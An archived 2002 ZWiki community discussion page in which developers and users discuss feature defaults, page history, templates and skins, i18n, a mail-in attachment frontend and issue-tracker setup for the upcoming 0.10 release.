Once ZWiki was in, I cusomised a few things - specifically, forcing page caching off and prefering ZWiki user names over Zope user names. I also modified the user options page to have a set of company defaults and turned on various things like headings on comments (with the default being on). I'm worried about how to upgrade to any new versions.

My preference would be to have most features turned on with some simple step-by-step instructions for turning them off again.

Hope this helps.

Regards, Mark Chambers

Simon wrote:


> After browsing the twiki over at http://emacswiki.org, once again I found
> myself seriously considering changing the out-of-box default from simple to
> minimal.
> Here's my thinking:
>
> - I hear people avoiding zwiki because they perceive it as being too
> complex/bloated, on top of the already scary zope requirement.
>
> - Those who want more features will happily try learn about full/simple,
> useroptions etc, Those who want something they can understand immediately
> won't,
> they'll look for another wiki.
>
> Thoughts ?
> --
> forwarded from http://www.zwiki.org/GeneralDiscussion


DeanGoodmanson, 2002/08/19 04:18 GMT (via web):
Mark Chambers wrote:


>> MoinMoin ... appeared to only keep one level of changes. ....
>> ZWiki has a full edit history so we installed that and have been using it ever since.

Forgive me, going to pull yet another newb question.. I haven't seen the light on the FULL edit history.

ZWiki's multiple page history is enable via Zope's object history, right?

This is grand, but don't you lose those revisions on a DB Pack?

Is there another way to keep revision history and keep the server optimization benefits of a pack?

I didn't think you should count on the History ZMI page beyond a short-term (so to speak) Undo capability.


Jay, Dylan, 2002/08/19 06:12 GMT (via mail):

> Is there another way to keep revision history and keep the
> server optimization
> benefits of a pack?

That would be a fantastic feature. The only way I heard of this happening is by using a mounted ZODB for ZWikis? so that global packs don't interfer.


2002/08/19 10:35 GMT (via web):
(AlexanderVH?) I'm working on customized wikis, based on 9.9, and checking what features may be generic enough to implement generally. You can use the code, or just the idea. One is subscription for users, combined with a table mapping users to emails. User management is simpler that way. You can change an email or eliminate a user in a centralised place. Also, users can have more anonymity. It's simple code. I added a switch to make it possible to enforce usernames. Another is generalisation of remotewikiurls to include a parameter \%s (4 lines of code). a bigger one is that each zwiki gets a type. Not a subclass, because types indicate content. They can change over time. Just a type, with its own header, footer, template and so on . So a remotewikiurl gets the type Remote. Creating a zwiki requires an extra step to choose type(and rendering) . Admins can create and add types.


2002/08/19 10:39 GMT (via web):
for clarity, current use of remotewikiurls is equivalent to placing the parameter at the end. The code checks if there is a parameter and if so, substitutes the remotename for it. Otherwise it sticks to old behaviour. So for example, i can make a remote link to the /text method of a wiki


Dylan Jay, 2002/08/19 11:42 GMT (via mail):

> a bigger one is that each zwiki gets a type. Not a subclass, because types
> indicate content. They can change over time. Just a type, with its own header,
> footer, template and so on . So a remotewikiurl gets the type Remote.
> Creating a zwiki requires an extra step to choose type(and rendering) . Admins
> can create and add types.

I'm quite interested in the type/template idea. I noticed in passing that TWiki has a type/template idea. I quite like the idea of forms, or something more like ZPT for wikis, or say Cards in HyperCard? Anyone have any feedback on what other wikis have?


2002/08/19 12:50 GMT (via web):
(AlexanderVH?) i did not do a lot about forms, except adding a feature in template to make the editform alternate between editable and non editable fields, thus creating a form with multiple textfields while not changing the data. It's just a html-commented keyword (<!--editswitch -->) that you use to split the string when editing. when you commit the change, the fields are joined again.


2002/08/19 13:29 GMT (via web):
(AlexanderVH?) Subclassing would be more appropriate for forms i think. My implementation aims at distinguishing content, so it relies on meaning, which is more fluid. Some types are:

System , for pages like RecentChanges?, UserOptions?, FrontPage and so on.

Help for helppages. you could have help for admin and for users. You could also have generic help specific help(types of zwikis are specific, and each type has an accompanying help page)

Remote, for remote links.

log and logt(logtop)for logpages(rather specific)logt pages append to the top instead of bottom(logt footer has an additional parameter for this)

A number of pagetypes that are specific to the use of the web. I first used it in development, though that was not the original aim. You could use a queue of pages handling from early proposals to late debugging. To keep it simple i just use Design and Testing pages(next to bugzilla), but there will/could be more design and test phases, as well as pages for managing and planning. A Design page has an extra form with subscription at the bottom(custom footer) so anyone can add/subtract participants to a discussion, and see who is copied. It already replaced a number of email discussions

my RecentChanges? pages show the icons of the pages, which improves overview.


Simon Michael, 2002/08/19 17:39 GMT (via mail):
Hi Mark, thanks for the interesting feedback.


> I've read some books and now have a better understanding of what Zope is
> (and, yes it's "scary") but this didn't enter into the equation when we
> picked ZWiki. I saw it more like needing a JVM before I could run a Java
> program - it's just a prerequisite with a separate install, no big deal.

Well good, that's how I'd like it to work.


> Once ZWiki was in, I cusomised a few things - specifically, forcing page
> caching off

Oh ? Do you mean you changed standard_page_type to one of the non-pre-rendering/pre-linking types ? How come ?


> turned on various things like headings on comments (with the default being
> on). I'm worried about how to upgrade to any new versions.

Does "Upgrading DTML methods" on UpgradeGuide? help ? Ie you have made customizations that you want to keep, so the simplest thing for you to do is leave your methods in place and upgrade zwiki and hopefully they won't require any changes. Also from now on you have the option of using one wikipage page template instead of the two standard_wiki_header/footer dtml methods which may make life simpler.


> My preference would be to have most features turned on with some simple
> step-by-step instructions for turning them off again.

The current situation is that wikis by default have all features installed and operational, but some of them require a single click on "full" to be made visible, namely: page hierarchy, subscriber count, annoying quote, page management panel[1]. Does this seem a reasonable compromise ?

[1] This last additionally requires the Manager role. Perhaps instead it should depend on Zwiki: Reparent pages, Zwiki: Delete pages, and new Zwiki: Rename pages permission ?


Simon Michael, 2002/08/19 17:44 GMT (via mail):

> ZWiki's multiple page history is enable via Zope's object history, right?
>
> This is grand, but don't you lose those revisions on a DB Pack?
>
> Is there another way to keep revision history and keep the server
> optimization benefits of a pack?
>
> I didn't think you should count on the History ZMI page beyond a
> short-term (so to speak) Undo capability.

That's correct. Zope.org handles this by keeping wiki pages in a separate mounted zodb which is never packed. I think there are alternate storage mechanisms that should help here too, perhaps DirectoryStorage?. Zope 3 has a new versioning system which would help. But it would be nice if we could keep more robust page history in a vanilla zodb installation, even one that's being packed frequently.


Simon Michael, 2002/08/19 18:01 GMT (via mail):
My two cents -


> the code, or just the idea. One is subscription for users, combined with
> a table mapping users to emails. User management is simpler that way. You
> can change an email or eliminate a user in a centralised place. Also,

Sounds like a good idea.


> it possible to enforce usernames. Another is generalisation of
> remotewikiurls to include a parameter \%s (4 lines of code).

This too, probably.


> a bigger one is that each zwiki gets a type. Not a subclass, because
> types indicate content. They can change over time. Just a type, with its
> own header, footer, template and so on .

You mean each page I think. It sounds like your "type" chooses a particular page layout and also functions like a WikiWikiWeb:WikiCategories tag. Does it also choose the rendering rules for the page body, like the page_type property ? Is the wiki where you've implemented this public ?

If you'd like, post some of these patches under ZwikiModifications or as wishlist issues in the tracker (use :: for quoting). Thanks..


Mark Chambers, 2002/08/19 23:36 GMT (via mail):

DeanGoodmanson wrote:


> Mark Chambers wrote:
>
> >> MoinMoin ... appeared to only keep one level of changes. ....
> >> ZWiki has a full edit history so we installed that and have been
> using it ever since.
>
> Forgive me, going to pull yet another newb question.. I haven't seen the light
> on the FULL edit history.
>
> ZWiki's multiple page history is enable via Zope's object history, right?
>
> This is grand, but don't you lose those revisions on a DB Pack?

Yes, I believe so - but we haven't done one yet !


> Is there another way to keep revision history and keep the server optimization
> benefits of a pack?
>
> I didn't think you should count on the History ZMI page beyond a short-term
> (so to speak) Undo capability.
>
> --
> forwarded from http://zwiki.org/GeneralDiscussion


Jay, Dylan, 2002/08/19 23:58 GMT (via mail):

> (AlexanderVH?) Subclassing would be more appropriate for forms
> i think. My
> implementation aims at distinguishing content, so it relies
> on meaning, which
> is more fluid. Some types are:
>
> System , for pages like RecentChanges?, UserOptions?, FrontPage
> and so on.
>
> Help for helppages. you could have help for admin and for
> users. You could
> also have generic help specific help(types of zwikis are
> specific, and each
> type has an accompanying help page)
>
> Remote, for remote links.
>
> log and logt(logtop)for logpages(rather specific)logt pages
> append to the top
> instead of bottom(logt footer has an additional parameter for this)
>
> A number of pagetypes that are specific to the use of the
> web. I first used it
> in development, though that was not the original aim. You
> could use a queue of
> pages handling from early proposals to late debugging. To
> keep it simple i
> just use Design and Testing pages(next to bugzilla), but
> there will/could be
> more design and test phases, as well as pages for managing
> and planning. A
> Design page has an extra form with subscription at the
> bottom(custom footer)
> so anyone can add/subtract participants to a discussion, and
> see who is
> copied. It already replaced a number of email discussions
>
> my RecentChanges? pages show the icons of the pages, which
> improves overview.

Not sure why the need for type outside of special tags in the content itself eg RemoteWikiLink?. Do you have so use cases where this is useful?


simon, 2002/08/20 00:24 GMT (via web):
the default page layout now comes from templates/defaults/wikipage.zpt; the defaults are still provided for standard_wiki_header and standard_wiki_footer but are slightly less up to date and should perhaps be considered deprecated. Here's the current layout-finding strategy:
       1. if a wikipage page template is found in the zodb (in this
           folder or acquired, use that

        2. if a standard_wiki_header or standard_wiki_footer dtml method
        is found in the zodb, use that. If one is missing, use the default
        value for the other. Note the defaults for these methods were last
        updated just before 0.10.0.

        3. otherwise, use the default page template. (ie from the filesystem)


simon, 2002/08/20 00:35 GMT (via web):
I renamed the Zwiki: Recycle pages permission to the more recognizable Zwiki: Delete pages and added Zwiki: Rename pages. The latter permission mainly exists to control the use of the "change all links" function.

The page management panel currently appears if: the user's display mode is full and they have Zwiki: Rename pages or Zwiki Delete pages permission and they have authenticated or configured a zwiki username. (I don't bother displaying the page management panel if they only have Reparent permission). In addition, each of the three buttons appears depending on the corresponding permission.


Jay, Dylan, 2002/08/20 00:48 GMT (via mail):

> the default page layout now comes from
> templates/defaults/wikipage.zpt; the
> defaults are still provided for standard_wiki_header and
> standard_wiki_footer
> but are slightly less up to date and should perhaps be
> considered deprecated.

There was a howto somewhere about how to make standard_html_header and footer use the content out of a ZPT instead. That might be useful? or I guess a new install doesn't come with a standard_wiki_header anymore right? so it's not a problem.

Is there a way I could set a property to change the ZWiki page to use templates/skinX/wikipage.zpt instead?

Then if you make templates/defaults to be completely readonly so that no one makes the mistake of customizing defaults, and those defaults come out of the filesystem on each upgrade. Then you've solved the whole upgrade problem. Plus you allow for people to swap their skins easily.


simon, 2002/08/20 01:07 GMT (via web):
I was thinking along similar lines re skins, but I am waiting until the dust has settled from the ZPT changeover. I was thinking it could also look for sometemplate in wikifolder/skins, and prefer sometemplate__skinname if it exists. Maybe subfolders would be better. I don't want to reinvent the portal_skins tool though.

How do you mean "make defaults readonly.. solves the whole upgrade problem" ? Once they customize, they'll always have the upgrade problem will they not ?


=?ISO-8859-1?Q?Juan_David_Ib=E1=F1ez_Palomar?=, 2002/08/20 07:58 GMT (via mail):

>
>
>>I've used a construct from Python 2.0: "from .. import .. as ..", is this
>>right? Which is the minimum Python version ZWiki must work with?
>>
>>
>
>I have been trying to remain compatible with python 1.5.2, for people
>using zope 2.2/2.3 I think. Can you manage it ?
>
>
>

No problem.

However, Localizer depends on Python 2.1, because it has important features for i18n (unicode support and the gettext module).

So the multilingual version of Zwiki will require Python 2.1, only the monolingual one will work with Python 1.5.2


>>I've seen the release plan for ZWiki 0.10, how do you want to coordinate
>>the i18n effort? If you like I can create a branch named "i18n" for this
>>project, I (or we :-)) could work on it and when it's ready you could do
>>the merge with the trunk.
>>
>>
>
>You mean a branch in zwiki cvs right ? I have avoided the complication of
>branches so far, but if you think it's easiest that would be fine.
>Otherwise you could just check in your i18n changes to the trunk starting
>after 0.10. I think your changes won't require major rework of the
>product, is that right ?
>
>
>

Ok, I'll wait the release of 0.10 to commit, and will use the trunk.

That's right, my changes don't require major rework of the product.


>Ideally we could cc these discussions on GeneralDiscussion, or a new
>DevDiscussion? list if that's too busy, or one of the mail lists.
>
>
>

Ok, done.


>Best regards, and congratulations on your new freelance status -
>
>
>

Thanks,

-- J. David Ibáñez, http://www.j-david.net Software Engineer / Ingénieur Logiciel / Ingeniero de Software


JohnGreenaway, 2002/08/20 18:19 GMT (via web):

> I was thinking along similar lines re skins, but I am waiting until the dust has settled from the ZPT changeover. I was thinking it could also look for sometemplate in wikifolder/skins, and prefer sometemplate__skinname if it exists. Maybe subfolders would be better. I don't want to reinvent the portal_skins tool though.

If you want simple skinning then just swapping CSS seems to go quite a long way. That's what we settled on anyway. Wiki pages have a pretty easy structure - title, search, quote, content, footer - makes them ideal for just marking out the sections as <div>s. Then you can simply use the stylesheet to change the positions & the look. We just put an drop down list on UserOptions? that sets a cookie for which theme you want, and that then gets used in the include css line of the page header. Obviously it's a bit more limiting than having multiple zpts, but it avoid any problems with the skins having code in them & maintaining them. Actually quite surprising just how much you can do with CSS when you get into it. You're welcome to our stylesheets if you want them...


2002/08/21 11:44 GMT (via web):
(AlexanderVH?) reply to Jay Dylan, about need for types for zwikis. It's an additinal organising system for a wikiweb. Once it gets a certain size it's difficult to navigate well. Also it's a guiding structure for processes.

The number of types depends on how structured the individual wikis are. I think the main issue for types is: is it after the fact categorising or is it setting up structures upfront. I don't see much value in after the fact categorising. If all wikis are just talk then i would use very few types. Discussion subjects are often too fluid to split up in many categories. Remotewikilinks are easily categorized because they follow a tight scheme(it could be strained though, if people start adding a lot of comments in remotewikilinks). On this site i also see a lot of pages for individual users(with their name). That could get a separate type too.

It helps to keep the number of types down, and general. Too much detail messes up the value(confusion, bad fit). An imporant help is type Default to mop up all zwikis that don't fit neatly into a scheme.

But when types guide process, you first design the types and then have people stick to them(or people can choose to stick to them), and that can be valuable. Guiding process indicates that you can't just do anything in a zwiki of a certain type. Well, it's only text, so in principle you can, but the header, footer, the template and helpfile remind you and guide you what should happen on the page, and what should not happen. Take the zope fishbowl process, see http://dev.zope.org/Fishbowl/Introduction.html, which describes four phases Inception, Elaboration, Construction, and Transition. Well, there could be four types to go with that. Suppose you have a more journalistic site. There could be a pagetype that reports things (meaning, you aim for objectivity)and another pagetype that is op-ed(where opinions can dominate the piece).

So the set of types come at administrator level and the types depend on the purpose of the site. It is remarkable how a site like slashdot has only subject types, no process types. At least I'd like a type summary there. funny intent seems reasonable too. Of course, types constrain process: you can't just mix in all kinds of comments in a summary. Which i think is for the better


2002/08/21 12:43 GMT (via web):
Making some progress on a new send_mail_to_zwiki.py (replacement for curl-setup) and mailreceiver.py (replacement for mailin.py). I am able to parse MIME-files and sent them to Zope/ZWiki. See also: http://www.zopelabs.com/cookbook/1029932854 for my recipe to add files to Zope over http. I hope to get this finished before the first 0.10rc.

-- PieterB


2002/08/21 14:22 GMT (via web):
I have lost my render as dialog when I add/edit a page. I am logged in, my user preferences and permissions seem to be set correctly. What should I check? Thanks, Kent


Simon Michael, 2002/08/21 15:20 GMT (via mail):

> I have lost my render as dialog when I add/edit a page. I am logged in,

If you're using the latest editform, just having Zwiki: Change page types permission should do it. Previous versions required that you enable Advanced edit options in UserOptions?, and/or that you click on "full". Hope this helps..


2002/08/21 23:29 GMT (via web):
I've created a ZwikiFrontend? page at zwiki.org and a sandbox at http://gewis.nl:8080/zwiki/FrontPage

This will make ZWiki able to save attachements to your wiki. This can be used for things like photoalbums, or to add documents (pdf, word, py, etc.) to specific pages.

Please give it a try, and let me know what you think of it.

This requires Python 2.1 and the email package installed.

Please note that this is the first (alpha) release of the ZwikiFrontend?

-- PieterB


Jay, Dylan, 2002/08/22 03:48 GMT (via mail):

> exists. Maybe subfolders would be better. I don't want to reinvent the
> portal_skins tool though.

I think using a portal_skin folder would be the way to go. Having to rely on third party products being installed is painful so I would go there however.


> How do you mean "make defaults readonly.. solves the whole
> upgrade problem" ?

That's what the portal skins stuff does I think. Essentially what your filesystem templates showup as if they are inside the ZODB. They can be viewed, copied etc from ZMI, but they are read only, ie they can't be deleted. When they change on the filesystem, eg after an upgrade, then the folder contents change also. This allows you people to copy and extend from your defaults in the filesystem easily and makes sure that there is no clashes after an upgrade.


> Once they customize, they'll always have the upgrade problem
> will they not ?

If they want to incorporate new features then yes. If they don't then it's no problem. However if you use templates well with slots etc, this might be minimized also. Currently I have to will have a problem if I customize some pages and not others.


>

> forwarded from http://zwiki.org/GeneralDiscussion
>


2002/08/22 03:55 GMT (via web):
Great Pieter. But we are trying it here at lazug and found that it cannot import "email". What is this ?


2002/08/22 06:35 GMT (via web):
ZwikiFrontend? requires the email package (python setup.py install) to be installed. This package requires Python 2.1 or higher, and is standard included in Python 2.2.

I have updated the ZwikiIssueTracker page.

-- PieterB


Simon Michael, 2002/08/22 15:43 GMT (via mail):
zwiki@zwiki.org (Jay, Dylan) writes:
> That's what the portal skins stuff does I think. Essentially what your
> filesystem templates showup as if they are inside the ZODB. They can be

Agreed, that's what I'd like us to do with the zwiki UI content. NB Kapil has separated out this DirectoryView? functionality as a separate product.


> be minimized also. Currently I have to will have a problem if I
> customize some pages and not others.

Will you ? Aren't customizing wikipage/editform/backlinks/subscribeform pretty independent of one another right now ?


Simon Michael, 2002/08/22 15:51 GMT (via mail):

> ZwikiFrontend? requires the "email
> package":http://sourceforge.net/projects/mimelib/ (python setup.py
> install
) to be installed. This package requires Python 2.1 or
> higher, and is standard included in Python 2.2.

Ah, that's why we didn't find it. We thought you might be awake early :)

We found a new roadblock for the mailin-with-curl setup - a sendmail setup may be running piped executables with the security-conscious smrsh, which can be configured to allow curl but still won't allow the "<" in the command line. Your zwiki_frontend.py could be a solution here.

What are the chances of making it compatible with python 2.1 and 1.5.2 ?


Pieter Biemond prive, 2002/08/22 16:11 GMT (via mail):

> We found a new roadblock for the mailin-with-curl setup - a sendmail setup
> may be running piped executables with the security-conscious smrsh, which
> can be configured to allow curl but still won't allow the "<" in the
> command line. Your zwiki_frontend.py could be a solution here.

Nice to know I can be of any help ;)


> What are the chances of making it compatible with python 2.1 and 1.5.2 ?

Well, ZwikiFrontend is compatible with Python 2.1 already if you install the email package ;). I only use the email package to use the modern API of email to iterate through the MIME-attachements. This could be rewriting using things like older python libs, but I would like to work on further integration with Mailman 2.1, which requires Python 2.1 as well.

I should really use something like the FileUploadRequest class instead of urlencoding the mailmessage, but I didn't have a look to rewrite it.

Please give me comments about my Python coding. I'm quite new to the language, and I'm sure the code can be improved ;)

-- PieterB


Simon, 2002/08/22 18:43 GMT (via web):
Edits & comments to GeneralDiscussion were repeatably triggering the now all-too-frequent Aieee! error code 10/11 zope crash this morning. I have worked around it by moving this page's text to archives and will continue the investigation.


Simon Michael, 2002/08/22 18:44 GMT (via mail):
zwiki@zwiki.org (Pieter Biemond prive) writes:
> of email to iterate through the MIME-attachements. This could be
> rewriting using things like older python libs, but I would like to work
> on further integration with Mailman 2.1, which requires Python 2.1 as

Ok, but FYI you have lots of potential users out there who don't want to upgrade their stock python yet.. :) Thanks for your work.


Simon, 2002/08/22 19:12 GMT (via web):
No need to offer both SandBox and TestPage to newcomers - removed some links. I have been treating TestPage as more of a zwiki developer's test area. Arguably that name makes more sense to newcomers than SandBox though.


Simon, 2002/08/22 21:05 GMT (via web):
Can't reproduce the crash now. It's not a zwiki bug, but it's possible we'll trigger it more often now that zwiki is working harder. We'll have to watch and learn. I'm slightly nostalgic for the simple no-caching code last seen in 0.9.9.


Pieter Biemond prive, 2002/08/22 23:04 GMT (via mail):
Simon wrote:


> Ok, but FYI you have lots of potential users out there who don't want to
> upgrade their stock python yet.. :) Thanks for your work.

Ok, I'm now trying to add some dutch politics ("PolderModel") to the ZwikiFrontend . I'll try to make uploading text files to a wiki Python 1.5.2 compliant (and thus not using the email package). If users want to use more MIME-things (like adding Wordfiles, Images, etc. to their wiki) they should grow up and use Python 2.1 and the email package.

If I can get this to work in time, does that mean we can start moving text to the DeprecatedCurlSetup page?

-- PieterB


Pieter Biemond prive, 2002/08/22 23:10 GMT (via mail):
Simon wrote:

> Can't reproduce the crash now. It's not a zwiki bug, but it's possible we'll
> trigger it more often now that zwiki is working harder.

Can't it be somebody is mailbombing Zwiki or something like that? I still see markus.roell is subscribed to the whole wiki.

Mmmh, might have a look if i can implement size limits to the ZwikiFrontend, just in case.

-- PieterB


Simon Michael, 2002/08/22 23:58 GMT (via mail):

> If I can get this to work in time, does that mean we can start moving
> text to the DeprecatedCurlSetup page?

No, it's not time for that.

I would like to see us flesh out a collection of example mailin setups that work, for people to choose from.


> Can't it be somebody is mailbombing Zwiki or something like that? I still

No, that's not happening. It could be something like I'm running freebsd's stock python that has limited stack space or some such issue.


> Mmmh, might have a look if i can implement size limits to the
> ZwikiFrontend, just in case.

Yes, you'll need them - too easy to bring down a site by mailing in huge mime attachments otherwise.


Simon Michael, 2002/08/23 00:01 GMT (via mail):
(IMHO :)


Jay, Dylan, 2002/08/23 01:02 GMT (via mail):

> > be minimized also. Currently I have to will have a problem if I
> > customize some pages and not others.
>
> Will you ? Aren't customizing
> wikipage/editform/backlinks/subscribeform
> pretty independent of one another right now ?

Sortof. I would have to create a new ZWikiFolder, work out which ones in the old one I've modified, delete them, and copy from the new Zwiki folder back to the old one, then delete the new temporary one. A pain in the arse, especially if it;s a long time between upgrades I can't remember which ones I've changed


DeanGoodmanson, 2002/08/23 21:15 GMT (via web):
Anyone want to lend a helping hand? Double Headers problem... : http://www.freezope.org/forum/misc/00000039


Simon, 2002/08/23 22:27 GMT (via web):
I have made a new HelpPage which I hope is better than the OldHelpPage. I hope to include this or something like it in 0.10. I intended it to be very short but it isn't. Please take a look and tell me what you think, and if there's anything that needs to be added.


Simon, 2002/08/23 22:29 GMT (via web):
PS some alternative content is linked at the bottom of OldHelpPage


simon, 2002/08/24 01:30 GMT (via web):
Upgraded to external editor 0.5 on this site. The ee icon should be working again, and anonymous external edits are enabled, but I am still getting a lot of 404 not found errors when I try to save.


simon, 2002/08/24 01:34 GMT (via web):
What about renaming the ZwikiIssueTracker instance on this site to BugTracker, BugDatabase or BugDb ?


2002/08/24 14:07 GMT (via web):
neat


Pieter Biemond prive, 2002/08/25 10:46 GMT (via mail):
Simon wrote

> What about renaming the ZwikiIssueTracker instance on this site to BugTracker,
> BugDatabase or BugDb ?

I liked the more general term IssueTracker (proposed a couple of weeks ago on GeneralDiscussion) even more. Then again, other sites tend to call it something like a BugTracker.

-- PieterB


Simon, 2002/08/25 21:31 GMT (via web):
Still working on the release notes and a last bug or two.. I hope to do rc1 tonight or tomorrow.


Simon Michael, 2002/08/26 07:42 GMT (via mail):
Drat, just missed my midnight deadline.

The ReleaseNotes have been updated and Zwiki 0.10.0rc1 is out. Please download from http://zwiki.org/releases/ZWiki-0.10.0rc1.tgz and hammer on it! I hope to do the final release a week from now as described on ReleaseProcess.

Thanks all, -Simon (goes to bed)


2002/08/27 07:14 GMT (via web):
Simon: Great! I'll have a look if I can improve the ZwikiFrontend tonight. I would like it very much if the files are somehow included in the next rc or release (e.g. contrib-dir).

-- PieterB


2002/08/27 10:57 GMT (via web):
I vote for the name "IssueTracker" for the tracker. Or perhaps, tracker. Something general, in any case.


2002/08/27 11:12 GMT (via web):
Hello all. I'm trying to ensure that adoption of 0.10.0 at the TeXmacsWiki? is painless, and I'm fighting with the tracker, because that would make the issue list much more manageable. I've followed instructions (save for caching, I'll enable that later) and found the following error: NameError?: global name ZwikiTrail is not defined when trying to access the page TeXmacsIssueTracker?, which is where I have pasted the ZWikiTracker?/editform code. What am I doing wrong? can anybody help?, thanks folks, AlV.


A.J. Rossini, 2002/08/27 13:40 GMT (via mail):

>>>>> "zwiki" == zwiki <zwiki@zwiki.org> writes:

zwiki> Hello all. I'm trying to ensure that adoption of 0.10.0 at the zwiki> TeXmacsWiki? is painless, and I'm fighting with zwiki> the tracker, because that would make the issue list much more manageable. I've zwiki> followed instructions (save for caching, I'll enable that later) and found the zwiki> following error: NameError?: global name ZwikiTrail is not defined when zwiki> trying to access the page TeXmacsIssueTracker?, which is where I have pasted zwiki> the ZWikiTracker?/editform code. What am I doing wrong? can anybody help?, zwiki> thanks folks, AlV.

remove the code. It isn't necessary.

-TonyRossini


Simon Michael, 2002/08/27 17:05 GMT (via mail):
zwiki@zwiki.org (A.J. Rossini) writes:
> found the following error: NameError?: global name ZwikiTrail is not
> defined

What Tony said - remove the dtml at the top that includes the ZwikiTrail?, that's a local zwiki.org thing.


> manageable. I've followed instructions (save for caching, I'll enable
> that later)

I'm glad you're upgrading, and interested in the above - do you mean you're trying to stay with non-pre-rendering page types for now ? Did you disable AUTO_UPGRADE, or what ? Let us know how it goes. NB actually all page types do "pre-rendering" at the moment, though in some cases it's a very minimal step.


Simon Michael, 2002/08/27 17:15 GMT (via mail):

> tonight. I would like it very much if the files are somehow included in
> the next rc or release (e.g. contrib-dir).

Hi Pieter - nothing against your code, but it arrived late in the feature freeze/bugfix phase for 0.10, it's alpha, and I don't feel it needs to go into the 0.10 tarball. The zwikidotorg front page sends people to WikiMail to set up mailin, so making sure it's visible there should be equally as good.


Simon, 2002/08/27 17:31 GMT (via web):
Made a few cleanups to AdminHowtos


2002/08/27 19:27 GMT (via web):
I'd like to bring up the idea of wiki page symlinks (or hardlinks) again. Perhaps this is more of a zope feature than a zope application feature, but it would be really useful for me to provide multiple entry points for the exact same page, and not just have a wiki link that says see $ActualPageWithInfo.

So, in my case, I would like all of the following to be a link to just one page: SupportProcess?, SupportPolicy?, GettingSupport?, SupportFAQ?, HowToGetSupport?, etc. This may sound trivial, but having the ability to symlink wiki pages would resolve a lot of the issues with pluralization and multiple interpretations with how to taxonomize (Is that a word?) a wiki's contents.

Is there a zope product that could be used as a symlink creator that would serve this need?


Pieter Biemond prive, 2002/08/27 20:50 GMT (via mail):

> Hi Pieter - nothing against your code, but it arrived late in the feature
> freeze/bugfix phase for 0.10, it's alpha, and I don't feel it needs to go
> into the 0.10 tarball. You're probably right it's alpha. It doesn't even support stock pythons ;)


> The zwikidotorg front page sends people to WikiMail
> to set up mailin, so making sure it's visible there should be equally as
> good. I'll do that later. I'll first try to make it more usefull and support stock ancient Pythons.

I didn't have a chance to have a look at the rc (deadline for some other project on friday). I'll really would like it if setting up a Bug/IssueTracker would be very simple.

Keep up the good work.

-- PieterB


Jay, Dylan, 2002/08/27 23:37 GMT (via mail):

> I'd like to bring up the idea of wiki page symlinks (or
> hardlinks) again.
> Perhaps this is more of a zope feature than a zope
> application feature, but it
> would be really useful for me to provide multiple entry
> points for the *exact
> same page*, and not just have a wiki link that says 'see
> $ActualPageWithInfo?'.

Another way to achieve this might be with the Fuzzy matching code. Instead of having one alternative which is the title, there could be a property which lists synonym names for a page and any links to those synonyms go to the "one true page". This idea is off the top of my head so I'm not sure if its a bastardization of wiki or a clean solution. It does come to mind that it would be easier to manage since you only dealing with one page rather than one + multiple symlinks... and what happens when the "one true page" is removed? And better still, instead of a property (which I feel uneasy about with regard to wikis... including that "type" proposal), how about a special line in the page saying something like

WikiAKA? SupportProcess? SupportPolicy? GettingSupport? SupportFAQ?

which instructs the fuzzy matching to match any of those names to that page. Nice and easy for anyone to edit :)


Simon Michael, 2002/08/28 16:24 GMT (via mail):

> project on friday). I'll really would like it if setting up a
> Bug/IssueTracker would be very simple.

Me too. Hopefully we'll have automated catalog & tracker setup in next month's release.

Thanks..


Simon Michael, 2002/08/28 16:30 GMT (via mail):
zwiki@zwiki.org (Jay, Dylan) writes:
> WikiAKA? SupportProcess? SupportPolicy? GettingSupport? SupportFAQ?
>
> which instructs the fuzzy matching to match any of those names to that
> page. Nice and easy for anyone to edit :)

Yup. You could also just write HTML links, or add support for twiki's (?) [link target|link label]? syntax. Or create those extra pages and on each one put a DTML redirect to the primary page.

But doesn't having synonyms for a page defeat the simplicity of wiki ?


Jay, Dylan, 2002/08/28 23:47 GMT (via mail):

> zwiki@zwiki.org (Jay, Dylan) writes:
> > WikiAKA? SupportProcess? SupportPolicy? GettingSupport? SupportFAQ?
> >
> > which instructs the fuzzy matching to match any of those names to
> that
> > page. Nice and easy for anyone to edit :)
>
> Yup. You could also just write HTML links, or add support for
> twiki's (?)
> [link target|link label]? syntax. Or create those extra pages

ZWiki already does this


> and on each
> one put a DTML redirect to the primary page.

bit messy.


> But doesn't having synonyms for a page defeat the simplicity of wiki ?

It's a very good question and it'd be interesting to know what different user think.

Personally in my wikis I end up with lots of pages that say "see ProperNewName?", which is easy enough to do but not that nice really. I could see the benifit of having synonyms. What happens a lot is that an initial name for a page is created and then it's moved to a new page that where the name better suits it. Rather than find and replace all the links (possibly external too) I put a placeholder that asks the user to go to the new page. External links is a good example agaist the synonym proposal. It wouldn't support that. Perhaps something like

WikiRedirect? NewProperName?

would be better for the place holder pages?


>

> forwarded from http://zwiki.org/GeneralDiscussion
>


Jay, Dylan, 2002/08/29 01:01 GMT (via mail):
I had a nice idea about spell checking and wysiwyg editing for ZWiki (not that I have a problem not having that), but I'm not sure it'll work.

Applications like word supposidly support webdav and definitatly support RTF. I was thinking of roundtrip RTF editing, e.g. http://site/wiki/APage/asdocument.rtf view would enable a wiki page that has been converted to rtf to be opened using the default RTF editor (e.g. msword). Then assuming the app understood webdav, hitting save would save it right back into zope (and the wikipage code would reverse engineer rtf back into stx by chucking out any weird formating). This would be really nice since I would love to use a spell checker plus I quite often go from Wiki pages to word documents and then back again. Converting to word doc is easy enough via cut and paste, however going back the other way doesn't work. The other advantage in this that people who like wysiwyg can edit a wikipage as easily as everybody else. Like I said, I like stx and am not a wysiwyg person but there are plenty of them out there so supporting them can't hurt and can only increase wiki popularity.

The bad news is that word doesn't even work as I describe as above. If I open a rtf document from a zope url it opens word but doesn't let me save back to the website. It does work with webdav but the only way it does if its opened from the explorer via a "Web folder". Stupid MS once more. External editor would probably solve this problem however. I have problems with external editor however since it requires client side installation (someone should make it an unsigned applet or something).

Also, this who argument for roundtrip formatted document could apply equally to html as it does to rtf, just as it works with ZPT and their source.html virtual view.


AlV, 2002/08/29 12:14 GMT (via web):
Hi, its AlV again with tracker problems. When I referred to caching I was speaking of catalog caching. Now I've turned it on following instructions, and I have repeated all steps including deleting the first line, which referenced ZWikiTrail?. It doesn't work (same error as before). To check the traceback go to my page, AlV.


Simon, 2002/08/29 15:39 GMT (via web):
Hey Alv.. I'm not yet 100% clear what you mean by catalog caching or what step you are at, but it doesn't matter - according to the traceback your TeXmacsIssueTracker? page is still trying to reference the non-existent ZwikiTrail?.

If you're sure the page source no longer has that reference, but you still get the error, then try visiting .../TeXmacsIssueTracker?/clearCache ?


2002/08/30 16:46 GMT (via web):
